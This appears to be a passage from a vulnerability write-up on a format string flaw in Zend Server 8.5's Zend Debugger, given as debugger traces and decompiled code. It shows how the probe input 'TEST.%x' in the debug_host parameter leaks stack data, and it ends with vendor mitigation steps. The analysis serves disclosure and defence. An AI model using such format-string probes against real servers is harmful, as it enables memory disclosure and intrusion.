The string "[Zend Debugger]" is concatenated with "Cannot resolve host %s" using strncat . Subsequently, the resulting string is passed to the vsnprintf function, which performs an initial format string operation by replacing the %s parameter with the user input. The process then moves to php_log_error, which opens the file /usr/local/zend/var/log/php.log to save the log with the resulting string.
0x7f05777e4293 <debugger_log_connect_error+243> call 0x7f05777d32b0 <strncat@plt>
strncat@plt (
Srdi = 0x00007ffc61765ec0 >"[Zend Debugger ] ",
$rsi = 0x00007f05777f5e2e >"Cannot resolve host %s",
$rdx = 0x00000000000007fe,
$rcx = 0x0000000000000000
)
0x7f05777e42b7 <debugger_log_connect_error+279> call 0x7f05777d3e30 <vsnprintf@plt>
vsnprintf@plt (
Srdi = 0x00007ffc617656c0 >"var/apps/http/_default_/0/4.3.1_8/index.php",
Srsi = 0x00000000000007ff,
Srdx = 0x00007ffc61765ec0 >"[Zend Debugger] Cannot resolve host %s",
$rcx = 0x00007ffc617656a8 >0x0000003000000008
)
0x7f05777e42c3 <debugger_log_connect_error+291> call 0x7f05777d3c10 <php_log_err@plt>
php_log_err@plt (
Srdi = 0x00007ffc617656c0 >"[Zend Debugger] Cannot resolve host TEST.%x",
$rsi = 0x000000007fffffd4,
$rdx = 0x00007ffc617656eb >0xb868b80000007000,
$rcx = 0x000000000000002b
)
0x7f0591f6d2f7 <php_log_err+135> call 0x7f0591d1e170 <open@plt>
open@plt (
Srdi = 0x000055a354e7ae10 >"/usr/local/zend/var/log/php.log",
Srsi = 0x0000000000000441,
Srdx = 0x00000000000001a4,
Srcx = 0x0000000000000006,
Sr8 = 0x205d726567677562,
$r9 = 0x7220746f6e6e6143
)
Subsequently, the php_printf function is called with the string directly containing the user input. This step appears to be the cause of the vulnerability. In fact, the php_printf function contained in the libphp5.so library includes the vspprintf function ), to which the string is passed via the RDX register.
0x7f05777e4326 <debugger_log_connect_error+390> call QWORD PTR [rdx]
*[rdx] (
Srdi = 0x00007ffc617656c0 >"Cannot resolve host TEST.%x",
$rsi = 0x000000007fffffe4,
Srdx = 0x00007f05924e2920 >0x00007f0591f6cb30 ><php_printf+0> push rbx
)
Decompile: php_printf - (libphp5.so)
---
[...]
uVarl = vspprintf(param_1, param_2, param_3, param_4, param_5, param_6, param_7, param_8, (long *) &local_d8, 0, param_9, ppuVar2, (long ****** )param_13,param_14);
ppppppplVar3 = (long ******* ) (long) (int) uVarl;
uVarl = php_output_write (extraout_XMMO_Qa, param_2, param_3, param_4, param_5, param_6, param_7, param_local_d8, ppppppplVar3, extraout_RDX, ppuVar2, param_13, param_14);
_efree (local_d8, ppppppplVar3, extraout_RDX_00, (long ** ) ppuVar2, param_13, param_14);
return uVarl & Oxffffffff;
0x7f0591f6cbc0 <php_printf+144> call 0x7f0591f73ec0 <vspprintf>
vspprintf (
Srdi = 0x00007ffc617655c0 ->0x000055a354b80000 ->'mpleXML","version":"0.1","licensed": true}, {"name" : [ . .. ]',
Srsi = 0x0000000000000000,
$rdx = 0x00007ffc617656c0 >"Cannot resolve host TEST.%x"
)
[#0] Id 1, Name: "apache2", stopped 0x7f0591f6cbco in php_printf (), reason: BREAKPOINT
[#0] 0x7f0591f6cbc0 -> php_printf()
[#1] 0x7f05777e4328 -> debugger_log_connect_error()
[#2] 0x7f05777dfcce -> jmp 0x7f05777dfb08
[#3] 0x7f05777d716e -> zend_debugger_activate()
[#4] 0x7f05777de519 -> xor eax, eax
[#5] 0x7f0591fd64e0 -> cmp eax, Oxffffffff
[#6] 0x7f0591f6eaca -> php_request_startup()
[#7] 0x7f0592082f0a -> test eax, eax
[#8] 0x55a3532a87a0 -> ap_run_handler ()
[#9] 0x55a3532a8ce9 -> ap_invoke_handler()
gef> x/s $rdx
0x7ffc617656c0: "Cannot resolve host TEST.%x"
In the instruction following the call, we can observe that the RDX register now contains the string to which the second format string has been applied and which will be returned by the server.
0x7f0591f6cbc5 <php_printf+149> mov rdi, QWORD PTR [rsp]
[#0] Id 1, Name: "apache2", stopped 0x7f0591f6cbc5 in php_printf (), reason: SINGLE STEP
[#0] 0x7f0591f6cbc5 -> php_printf()
[#1] 0x7f05777e4328 -> debugger_log_connect_error()
[#2] 0x7f05777dfcce -> jmp 0x7f05777dfb08
[#3] 0x7f05777d716e -> zend_debugger_activate()
[#4] 0x7f05777de519 -> xor eax, eax
[#5] 0x7f0591fd64e0 -> cmp eax, Oxffffffff
[#6] 0x7f0591f6eaca -> php_request_startup()
[#7] 0x7f0592082f0a -> test eax, eax
[#8] 0x55a3532a87a0 -> ap_run_handler()
[#9] 0x55a3532a8ce9 -> ap_invoke_handler()
gef> x/s $rdx
0x55a354b8bfdo: "Cannot resolve host TEST.7fffffe4"
Case “Failed to resolve host”
If the character , is present within the debug_host parameter, a call is made to zend_realloc_printf, passing the string "Failed to resolve host %s" and the user input.
Decompile: FUN_7f05777df5c0 - (ZendDebugger8_5_20.so)
---
[...]
else {
zero_variable = 0;
if ((debug_host_user_input != (char *) 0x0) && (*debug_host_user_input != '\0') ) {
variable = debug_host_user_input;
while( true ) {
comma_offset = strchr(variable, 0x2c);
if (comma_offset != (char *) 0x0) {
*comma_offset = '\0';
}
iVar3 = zend_debugger_lookup_hostname(variable, local_f8.sa_data + 2,1);
if (iVar3 == -1) {
//string = Failed to resolve host $debug_host[x]
zend_realloc_printf(szero_variable, "Failed to resolve host \'%s\'. ",variable);
}
else {
iVar3 = zend_debugger_check_ip_allowed(&local_f8,0x10,variable, szero_variable);
if (iVar3 == 0) {
piVar5 = _errno_location();
*piVar5 = 0;
iVar3 = connect(iVarl, &local_f8, 0x10);
if (iVar3 == 0) {
if (zero_variable != 0) {
_efree ();
}
goto LAB_7105777df905;
}
pcVar7 = strerror(*piVar5);
zend_realloc_printf (&zero_variable,"Failed to connect to host \'%s\', reason: \'%s\'. ", variable, pcVar7);
}
}
if (comma_offset == (char *) 0x0) break;
*comma_offset = ', ';
variable = comma_offset + 1;
if ((variable == (char *) 0x0) |I (comma_offset[1] == '\0')) break;
}
if (zero_variable != 0) {
debugger_log_connect_error("%s");
_efree (zero_variable);
}
}
debugger_error (2, "Cannot connect to hosts: %s", debug_host_user_input);
}
0x7f05777dfa5e call 0x7f05777d4030 <zend_realloc_printf@plt>
zend_realloc_printf@plt (
$rdi = 0x00007ffc617667a8 >0x0000000000000000,
Şrsi = 0x00007f05777f5e10 >"Failed to resolve host '%s'. ",
$rdx = 0x000055a354b8be80 >0x0078252e54534554 ("TEST.%x"?),
$rcx = 0x00007ffc617666a0 >0x00007f058f492ac0 > <_ nss_dns_gethostbyname_r+0> push r15
)
The function appears to perform an initial format string operation by concatenating the string "Failed to resolve host" with the user input. The resulting string is then passed to the debugger_log_connect_error function, the same vulnerable function we observed for the "Cannot resolve host" case.
0x7f05777dfae3 call 0x7f05777d3610 <debugger_log_connect_error@plt>
debugger_log_connect_error@plt (
$rdi = 0x00007f05777f68d8 >0x617373654d007325 ("%s"?),
$rsi = 0x000055a354b8bc38 > "Failed to resolve host 'TEST.%x' . ",
Srdx = 0x0000000000000022
)
How to Patch
As previously mentioned, this vulnerability does not affect the latest versions of Zend Server. Therefore, it is strongly recommended to update to the latest available version. Below, I also include the solution suggested by the Perforce security team for cases where upgrading the software is not possible:
“in the event that your team is running Zend Server 8.5 (please note that this version is End of Life and an unsupported version of Zend Server) and cannot update to the 9.x version series please see the following mitigations: If you are using Zend Server 8.5, please review your installation and, if enabled, immediately disable the Zend Debugger module in production. To disable the Zend Debugger in Zend Server 8.5, perform the following steps:
- Go to the Zend Server UI, then select the Debugging | Debugger page
- In the Active Debugger section, deselect the Zend Debugger option
- Click “Save and Restart Zend Server”
More information on how to disable the Zend Debugger module entirely can be found here. The Zend team also highly recommends migrating to a supported version of PHP, and either a supported version of Zend Server or ZendPHP as soon as possible.”